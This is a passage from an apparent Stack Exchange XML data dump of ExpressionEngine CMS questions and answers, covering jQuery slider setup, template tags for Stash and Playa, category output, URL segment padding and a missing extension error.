src=&quot;http://farm6.static.flickr.com/5270/5627221570_afdd85f16a_z.jpg&quot; alt=&quot;&quot; title=&quot;Light Trails&quot; /&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;&#xA;                            &amp;lt;li&amp;gt;&#xA;                              &amp;lt;img src=&quot;http://farm6.static.flickr.com/5146/5627204218_b83b2d25d6_z.jpg&quot; alt=&quot;&quot; title=&quot;Bokeh&quot; /&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;&#xA;                            &amp;lt;li&amp;gt;           &#xA;                              &amp;lt;img src=&quot;http://farm6.static.flickr.com/5181/5626622843_783739c864_z.jpg&quot; alt=&quot;&quot; title=&quot;Blossoms&quot; /&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;&#xA;                            &amp;lt;li&amp;gt;           &#xA;                              &amp;lt;img src=&quot;http://farm6.static.flickr.com/5183/5627213996_915aa49939_z.jpg&quot; alt=&quot;&quot; title=&quot;Funky Painting&quot; /&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;&#xA;&#xA;                            &amp;lt;li&amp;gt;           &#xA;                              &amp;lt;img src=&quot;http://farm6.static.flickr.com/5182/5626649425_fde8610329_z.jpg&quot; alt=&quot;&quot; title=&quot;Vintage Chandelier&quot; /&amp;gt;&#xA;                            &amp;lt;/li&amp;gt;                            &#xA;                          &amp;lt;/ul&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;   &#xA;&#xA;                  &amp;lt;script&amp;gt;&#xA;                     $(&quot;#slideshow&quot;).craftyslide();&#xA;                  &amp;lt;/script&amp;gt; &#xA;                {/if}&#xA;                &amp;lt;!-- slider end --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;^This is a snippet, not the complete template obviously (it's pretty meaty). But it contains all the important bits concerning the slider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the appropriate jquery linked and working, I have the js file on the server in the right location and the code is all right as its taken directly from the provided demo file. But nothing works whatsoever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitely need help here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: May have gotten it working. Apparently it didn't like the jquery version I was linking too via Google.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It -may- be fully working with this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Well it's getting closer. Images are displaying and transitions work. It will now progress to the second slide and then stop..&lt;/p&gt;&#xA;" OwnerUserId="2559" LastEditorUserId="2559" LastEditDate="2014-01-03T16:04:03.837" LastActivityDate="2014-01-03T16:04:03.837" Title="How to properly implement Jquery within EE" Tags="|module|javascript|jquery|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18052" PostTypeId="2" ParentId="18048" CreationDate="2014-01-03T14:42:25.450" Score="1" Body="&lt;p&gt;I have actually now fixed the DevDemon Channel Images issue, and so we are going to use that, we could not find an alternative way of doing this easily. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, it was not an issue with Channel Images as I thought, but an issue with EE/RTE and JQuery...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We were using our own JQuery version, one of the latest ones. If I removed this, and EE inserted its own Jquery (which is version 1.7.2!), then Channel Images works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was not only Channel Images pop up that broke, but the RTE Insert Hyperlink pop up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it seems the RTE pop ups require Jquery version 1.7.2 and no later. I tried it with versions 1.8.x and above and they all broke the RTE pop ups. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my answer is not specific to the question, but fixing this issue does mean that we can use Channel Images which does allow us to do what we want!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shame we have to resort to JQuery 1.7.2, I am going to have to test all our other JQuery functions and plugins now. &lt;/p&gt;&#xA;" OwnerUserId="381" LastActivityDate="2014-01-03T14:42:25.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18053" PostTypeId="2" ParentId="18051" CreationDate="2014-01-03T15:22:38.520" Score="2" Body="&lt;p&gt;If it's just for a slider on the front-end, forget that you're even using EE and include jQuery as you would with any other platform. &lt;a href=&quot;https://github.com/h5bp/html5-boilerplate/blob/master/index.html&quot; rel=&quot;nofollow&quot;&gt;HTML5 Boilerplate&lt;/a&gt; recommends using the Google CDN with a local fallback, so you could throw this segment in your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;script src=&quot;//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA; &amp;lt;script&amp;gt;window.jQuery || document.write('&amp;lt;script src=&quot;js/vendor/jquery-1.10.2.min.js&quot;&amp;gt;&amp;lt;\/script&amp;gt;')&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-03T15:22:38.520" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18054" PostTypeId="1" CreationDate="2014-01-03T15:29:58.727" Score="1" ViewCount="102" Body="&lt;p&gt;Im using  this answer &#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/17628/recommendation-for-dynamic-store-product-data-updates&quot;&gt;Recommendation for dynamic Store product data updates&lt;/a&gt; to setup my products, wich works great but the problem is they are not getting added as seperate products like products with product modifiers, basicly it only adds one quantity to the product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way todo this? I could setup a dynamic product variable, but it would be great todo it this way.&lt;/p&gt;&#xA;" OwnerUserId="2560" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2014-07-08T10:08:09.590" Title="Using width / length / height as dynamic option" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18055" PostTypeId="2" ParentId="18051" CreationDate="2014-01-03T15:32:33.737" Score="0" Body="&lt;p&gt;You can use the EE syntax inside javascript like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;     {if segment_3 != &quot;&quot;}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I guess if :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/JS/craftyslide.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is jquery script it must be placet after the jquery library, else it will not work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;http://code.jquery.com/jquery-latest.min.js&quot; type=&quot;text/javasript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/JS/craftyslide.js&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-01-03T15:32:33.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18057" PostTypeId="1" CreationDate="2014-01-03T16:37:04.210" Score="1" ViewCount="65" Body="&lt;p&gt;I'm looking to require the first forum post of a member to be moderated before it goes live but then allow all subsequent posts to post automatically.&#xA;Is this possible?  &lt;/p&gt;&#xA;" OwnerUserId="2561" LastActivityDate="2014-01-05T09:29:05.140" Title="Moderate first forum post only" Tags="|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18058" PostTypeId="1" AcceptedAnswerId="18073" CreationDate="2014-01-03T16:59:26.537" Score="0" ViewCount="132" Body="&lt;p&gt;So I have the following snippets of code which contain a matrix field &lt;code&gt;{people}&lt;/code&gt; with a nested playa field &lt;code&gt;{section_people}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Get people sections --}&#xA;{exp:stash:set_list name=&quot;people_sections&quot; parse_tags=&quot;yes&quot;}&#xA;    {people}&#xA;        {stash:section_people}{section_people:child_ids}{/stash:section_people}&#xA;    {/people}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- Get related people: --}&#xA;{exp:stash:set_list name=&quot;people_list&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot; trim=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;people&quot; dynamic=&quot;no&quot; entry_id=&quot;{exp:playa:child_ids field='people'}&quot; parse=&quot;inward&quot; disable=&quot;{global:param_disable_default}&quot;}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id} &#xA;        [other fields]&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- Display: --}&#xA;{exp:stash:get_list name=&quot;people_sections&quot;}&#xA;&amp;lt;section class=&quot;team&quot;&amp;gt;&#xA;    &amp;lt;h2&amp;gt;{section_title}&amp;lt;/h2&amp;gt;&#xA;    {exp:stash:get_list:nested name=&quot;people_list&quot; match=&quot;#{section_people}#&quot; against=&quot;entry_id&quot;}&#xA;        &amp;lt;article&amp;gt;{entry_id}&amp;lt;/article&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;&amp;lt;/section&amp;gt;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'd like to accomplish is: keeping the playa entries in a fixed order: &lt;code&gt;640|643|639&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I get the entries using the stash get_list they are returned by entry date: &lt;code&gt;643|640|639&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see in the stash docs where I can sort by column, but is there a way to used a &quot;fixed&quot; sort order?&lt;/p&gt;&#xA;" OwnerUserId="787" LastEditorUserId="787" LastEditDate="2014-01-03T17:04:46.177" LastActivityDate="2014-01-04T00:24:58.910" Title="Get entries in fixed order with Stash/Playa" Tags="|playa|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18059" PostTypeId="1" AcceptedAnswerId="18060" CreationDate="2014-01-03T17:16:44.127" Score="2" ViewCount="72" Body="&lt;p&gt;I've found it perfectly possible to output a list of all of the categories for a channel, or a list of all of the categories that are not empty for a channel. But when I am iterating through the different posts of a channel, how can I output for each post only the categories that are checked for that specific channel entry? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read through the documentation pretty thoroughly, &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/channel/categories.html&lt;/a&gt;, and I can't seem to find a way to make it work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to spit this information out as JSON... to put it into context, below is what I have as a base. Ideally I would like to nest an array in my associative array that contains all of the categories for that channel entry.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;  $entries = array();&#xA;&#xA;  {exp:channel:entries channel=&quot;my_channel_entries&quot; dynamic=&quot;yes&quot;}&#xA;    $entries[] = array(&#xA;      'name' =&amp;gt; '{entry_name}',&#xA;      'description' =&amp;gt; '{description}'          &#xA;    );&#xA;  {/exp:channel:entries}&#xA;&#xA;  header('Content-type: application/json');&#xA;  echo json_encode($entries, JSON_PRETTY_PRINT);&#xA;  exit;&#xA;&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help/creative problem solving that you all can offer will be greatly appreciated! Let me know if I can provide any more details to help you, help me.&lt;/p&gt;&#xA;" OwnerUserId="2562" LastActivityDate="2014-01-03T17:28:25.460" Title="Template that iterates through channel entries and outputs categories that are selected for each entry" Tags="|channel-entries|templates|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18060" PostTypeId="2" ParentId="18059" CreationDate="2014-01-03T17:28:25.460" Score="2" Body="&lt;p&gt;I got bogged down with &lt;code&gt;{exp:channel:categories}&lt;/code&gt; when I was getting started; in this context, you'll want to use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{categories}&lt;/code&gt; tag pair within &lt;code&gt;{exp:channel:entries}&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-03T17:28:25.460" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18061" PostTypeId="1" CreationDate="2014-01-03T17:38:53.160" Score="0" ViewCount="103" Body="&lt;p&gt;All the .doc and .pdfs (.jpg is fine) that we have uploaded to our site generate a 404 error and do not download. We have not changed anything on the back end of our site in quite some time and everything was functioning fine last week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to edit the file links on the backend, I keep running into this error: “An Error Was Encountered You are not authorized to access this page” and I am the superadmin.&#xA;If anyone has suggestions on how to resolve this I would appreciate it!&lt;/p&gt;&#xA;" OwnerUserId="2563" LastActivityDate="2014-01-03T17:38:53.160" Title="Uploaded links 404 error. Can't edit entries under super admin" Tags="|404|permissions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18062" PostTypeId="1" CreationDate="2014-01-03T17:56:34.013" Score="0" ViewCount="153" Body="&lt;p&gt;There are so many essential things you simply can't do with EE; this is one I'm having issues with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use AJAX to GET a template while sending data via the URL segments.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the ajax, we're preformatting integers to strings so that all single digit integers get preceding zeros (e.g.: &lt;code&gt;1&lt;/code&gt; becomes &lt;code&gt;01&lt;/code&gt; by using JS &lt;code&gt;var seg1 = '' + {segment_1}&lt;/code&gt;, etc.).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;We send these integers in date format to a template &lt;code&gt;/.../.../.../01/03/2014/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On our template called via AJAX we embed another template using those values&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;However&lt;/strong&gt;, during the AJAX request all preceding zeros are truncated :p&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So doing something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;calendar/event_landing&quot; range_start=&quot;{segment_4}-{segment_5}-{segment_6}&quot; range_end=&quot;{segment_4}-{segment_5}-{segment_6}&quot;}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will only represent the above example as &lt;code&gt;/.../.../.../1/3/2014/&lt;/code&gt; with no zeros.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To circumvent this oddity, I thought I'd try to do something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Pad the segments with zeros because the preceding zeros on single digit segments are truncated during the $.ajax(...) GET request.&#xA;if (strlen($seg4 == 1) {&#xA;    str_pad($seg4, 2, '0', STR_PAD_LEFT);&#xA;}&#xA;&#xA;if (strlen($seg5 == 1) {&#xA;    str_pad($seg5, 2, '0', STR_PAD_LEFT);&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then try something as audacious as it is ludicrous:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {embed=&quot;calendar/event_landing&quot; range_start=&quot;&amp;lt;?php echo $seg4; ?&amp;gt;-&amp;lt;?php echo $seg5; ?&amp;gt;-{segment_6}&quot; range_end=&quot;&amp;lt;?php echo $seg4; ?&amp;gt;-&amp;lt;?php echo $seg5; ?&amp;gt;-{segment_6}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While that doesn't work at all (and really shouldn't anyway) I think it explains what I'm trying to do: pass the newly zero-padded integers to the embedded &lt;code&gt;calendar/event_landing&lt;/code&gt; template where I'm using their values as follows using the Solspace Calendar plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;{embed:range_start}&quot; date_range_end=&quot;{embed:range_end}&quot; pad_short_weeks=&quot;n&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In case it wasn't implied, the Solspace Calendar uses EE date formatting (as found here: &lt;a href=&quot;http://www.solspace.com/docs/calendar/date_formatting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solspace.com/docs/calendar/date_formatting/&lt;/a&gt;), and will not accept single digit numbers. If single digit numbers are passed to it, then it causes an error and instead of throwing it, it simply reverts to the value of the current day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The beginning of this rabit-hole inquiry started here one day ago: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18040/solspace-calendar-embed-range-not-registering&quot;&gt;Solspace Calendar embed range not registering&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2014-01-03T18:07:05.980" Title="Embedding PHP in EE tags or using equivalent expressions in PHP" Tags="|php|embeds|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18063" PostTypeId="2" ParentId="18062" CreationDate="2014-01-03T18:07:05.980" Score="1" Body="&lt;p&gt;Why not to use this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4 &amp;lt; 10}0{/if}{segment_4}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's a lot of things the template language of EECMS can't, but... It is just a template language.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-01-03T18:07:05.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18066" PostTypeId="1" CreationDate="2014-01-03T19:19:09.587" Score="0" ViewCount="58" Body="&lt;p&gt;I apologize for the vagueness of the question, but was looking for tips to debug more than a solution. I am using EE 2.7.2. I have a channel called products and a channel called resources. Within products there are two relationship fields (built-in relationship fields, not using an add on for it), one relating other products and another relating resources. Everything works as planned, but on multiple occasions (three times now) one of the relationship fields gets cleared for some of the product entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, Product A is related to Products B and C and Resources A, B, and C. It will all work then while reviewing the site (usually a week or so later) Product A will only be related to Resources A, B, and C and not related to any Products, as if they had been cleared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again I apologize for a lack of details but am totally stumped and not even sure where to start or what details to include? I have been grabbing a back up of the exp_relationships table each time it happens (before and after re-entering the relationships) and it appears that those rows are just getting removed for one of the relationship fields (it was the resource relationship twice and the product relationship once). There doesn't seem to be any action that triggers this or even a set timeframe, so I have very little to go on. One thing to note is that there is a channel form tag for another channel that also has a relationship field for Products. I tested this out thoroughly and it didn't seem to trigger the problem. I was hoping maybe someone else had experienced this or has some ideas of what to look for? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2014-01-03T19:19:09.587" Title="EE Relationships Getting Removed" Tags="|relationships|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18067" PostTypeId="1" CreationDate="2014-01-03T21:14:04.943" Score="3" ViewCount="836" Body="&lt;p&gt;I need to send custom field data to the admin when a user registers. In this example I'm trying to send the ZIPCODE along with other standard fields. I'm using freemember to collect the custom field data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my Admin Notification of New Member Registration Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    New member registration site: {site_name}&#xA;&#xA;    Name: {name}&#xA;    User Name: {username}&#xA;    Email: {email}&#xA;&#xA;    zipcode: {zipcode}&#xA;&#xA;    Your control panel URL: {control_panel_url}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any Help is greatly appreciated.  I do have Solspace User, but that hasn't been any help.&lt;/p&gt;&#xA;" OwnerUserId="1530" LastActivityDate="2014-01-29T19:57:34.967" Title="ExpressionEngine - Send custom field in New Member Registration Email?" Tags="|custom-fields|freemember|custom|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18068" PostTypeId="1" AcceptedAnswerId="18069" CreationDate="2014-01-03T22:16:28.413" Score="0" ViewCount="109" Body="&lt;p&gt;I've NEVER seen this before! I'm migrating an EE site from one server to another and am getting this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error&#xA;&#xA;Unable to load the following extension file:&#xA;&#xA;ext.tag.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm running EE version 2.4 and am planning on upgrading, but need to get everything working like it was on the previous server first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set &lt;code&gt;$config['allow_extensions'] = &quot;n&quot;;&lt;/code&gt; everything works fine, but when I re-enable my Extensions I get that error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've updated the config file from an &lt;code&gt;Envee&lt;/code&gt; config to my stock config.php file and still getting that error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded all of the &lt;code&gt;third_party&lt;/code&gt; folders and did a search for &quot;ext.tag.php&quot; (along with tag.php, etc...) but for the life of me I cannot figure out where that file is being called from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen this? A Google, Devot-ee and EESE search comes up with nothing really helpful. Hopefully someone else has ran into this before! I have verified that the DB settings are correct and just strange that I can't figure out where this is being called from.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-01-03T22:38:30.003" Title="&quot;TAG&quot; Extension File?" Tags="|extension|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18069" PostTypeId="2" ParentId="18068" CreationDate="2014-01-03T22:36:11.700" Score="2" Body="&lt;p&gt;If you've got access to the database (command line or phpMyAdmin), take a look at the exp_extensions table and see if you can find something for &quot;tag&quot; there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few columns in that table with helpful clues; it should reveal what add-on it is (perhaps Solspace Tag?), and, there's a column you should be able to change to disable it independently of the other add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that's enough to get you pointed in the right direction; would be interested to know what the problem turns out to be.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-01-03T22:36:11.700" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18070" PostTypeId="2" ParentId="18068" CreationDate="2014-01-03T22:38:04.957" Score="3" Body="&lt;p&gt;It's the Tag module from Solspace. If you've removed the files without uninstalling properly via the control panel, you'll need to delete the 'Tag_ext' rows from 'exp_extensions' in your database.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-01-03T22:38:04.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18071" PostTypeId="2" ParentId="18068" CreationDate="2014-01-03T22:38:30.003" Score="2" Body="&lt;p&gt;Solspace has a tag add-on which most likely includes this extension. The error is telling you the same thing you found through your search. That is, the file isn't there. However, it's still being called from the DB. The easiest way to fix this is to simply upload the tag add-on and then do what you need with it from there. If you no longer have it, then you will have to remove it manually through the DB. This will likely include remnants of the extension as well as the module.&lt;/p&gt;&#xA;" OwnerUserId="274" LastActivityDate="2014-01-03T22:38:30.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18072" PostTypeId="1" CreationDate="2014-01-03T23:37:55.883" Score="1" ViewCount="62" Body="&lt;p&gt;I have a use case where I would like an add-on or admin to set a users group with additional privileges and provide an expiration that would change the user back to their original group, or even a default group such as members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal would be to allow members to purchase a &quot;subscription&quot; but not as recurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume this can be done with simple commerce, however from everything i have seen there is no way to allow and administrator to change or setup and expiration for teh group change.  Adding a transaction manually through Simple Commerce does not act as a subscription, and thus teh group change features will not work as intended.&lt;/p&gt;&#xA;" OwnerUserId="386" LastActivityDate="2014-01-06T12:33:06.657" Title="Users Group Expiration" Tags="|expresso-store|members|simple-commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18073" PostTypeId="2" ParentId="18058" CreationDate="2014-01-04T00:24:58.910" Score="3" Body="&lt;p&gt;In your channel entries tag, use the &lt;code&gt;fixed_order&lt;/code&gt; parameter instead of &lt;code&gt;entry_id&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-04T00:24:58.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18074" PostTypeId="1" CreationDate="2014-01-04T02:01:19.583" Score="1" ViewCount="169" Body="&lt;p&gt;Is it possible to calculate a members' age with Low Nice Date?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Experimented with this but really need to know what format the (native) {member_birthday} outputs...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date date=&quot;{current_time format=&quot;%F %j%S, %Y&quot;}-{member_birthday}&quot; format=&quot;%F %j%S, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-02-14T21:34:55.887" Title="Calculate age with Low Nice Date" Tags="|low|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18075" PostTypeId="2" ParentId="18074" CreationDate="2014-01-04T05:33:46.930" Score="1" Body="&lt;p&gt;The way EE stores birthday info is in 3 separate columns in the database (ie. Month, Day &amp;amp; Year'), whereas a entry date or date field the value is stored in UNIX timestamp. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the native &lt;code&gt;{birthday}&lt;/code&gt; field outputs: &lt;code&gt;Month Day, Year&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for this to work with &lt;code&gt;exp:low_nice_date:range&lt;/code&gt; tag, you would need to format the &lt;code&gt;from&lt;/code&gt; &amp;amp; &lt;code&gt;to&lt;/code&gt; parameters correctly. At a quick glance, I don't think this is possible from the native birthday field and low nice date. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-01-04T05:33:46.930" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18077" PostTypeId="1" AcceptedAnswerId="18079" CreationDate="2014-01-04T17:26:33.997" Score="0" ViewCount="27" Body="&lt;p&gt;What would cause an EE template to barf on one set of comments but not another?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the comments on this page are messed up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alistapart.com/comments/seo&quot; rel=&quot;nofollow&quot;&gt;http://alistapart.com/comments/seo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it doesn't seem to be happening on any other article (that we've found). Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alistapart.com/comments/negativemargins&quot; rel=&quot;nofollow&quot;&gt;http://alistapart.com/comments/negativemargins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could cause this? I've gone through the comments to see if I could spot any bad code, but even if I had found something I'm at a loss to explain why it would cause problems with EE rendering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(EECMS v 2.5.5)&lt;/p&gt;&#xA;" OwnerUserId="453" LastActivityDate="2014-01-04T18:22:42.570" Title="Snippets breaking on one entry, but not others?" Tags="|templates|comments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18079" PostTypeId="2" ParentId="18077" CreationDate="2014-01-04T18:22:42.570" Score="2" Body="&lt;p&gt;It looks like this page is breaking because of the edit comment functionality combined with PHP/HTML in a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://alistapart.com/comments/seo#322268&quot; rel=&quot;nofollow&quot;&gt;comment #322268&lt;/a&gt;: he's got PHP-style and HTML tags in his comment, which all seem to be escaped properly, but when that same comment content is replicated in the hidden block for comment editing (.edit-comment), your page source code is abruptly cut off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this is affecting the rending of EE conditionals on the page, I assume the choke is happening server-side - EE isn't liking the &lt;code&gt;&amp;lt;?&lt;/code&gt; and &lt;code&gt;?&amp;gt;&lt;/code&gt; entities inside of the the template's tagdata, and is choking on them.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-04T18:22:42.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
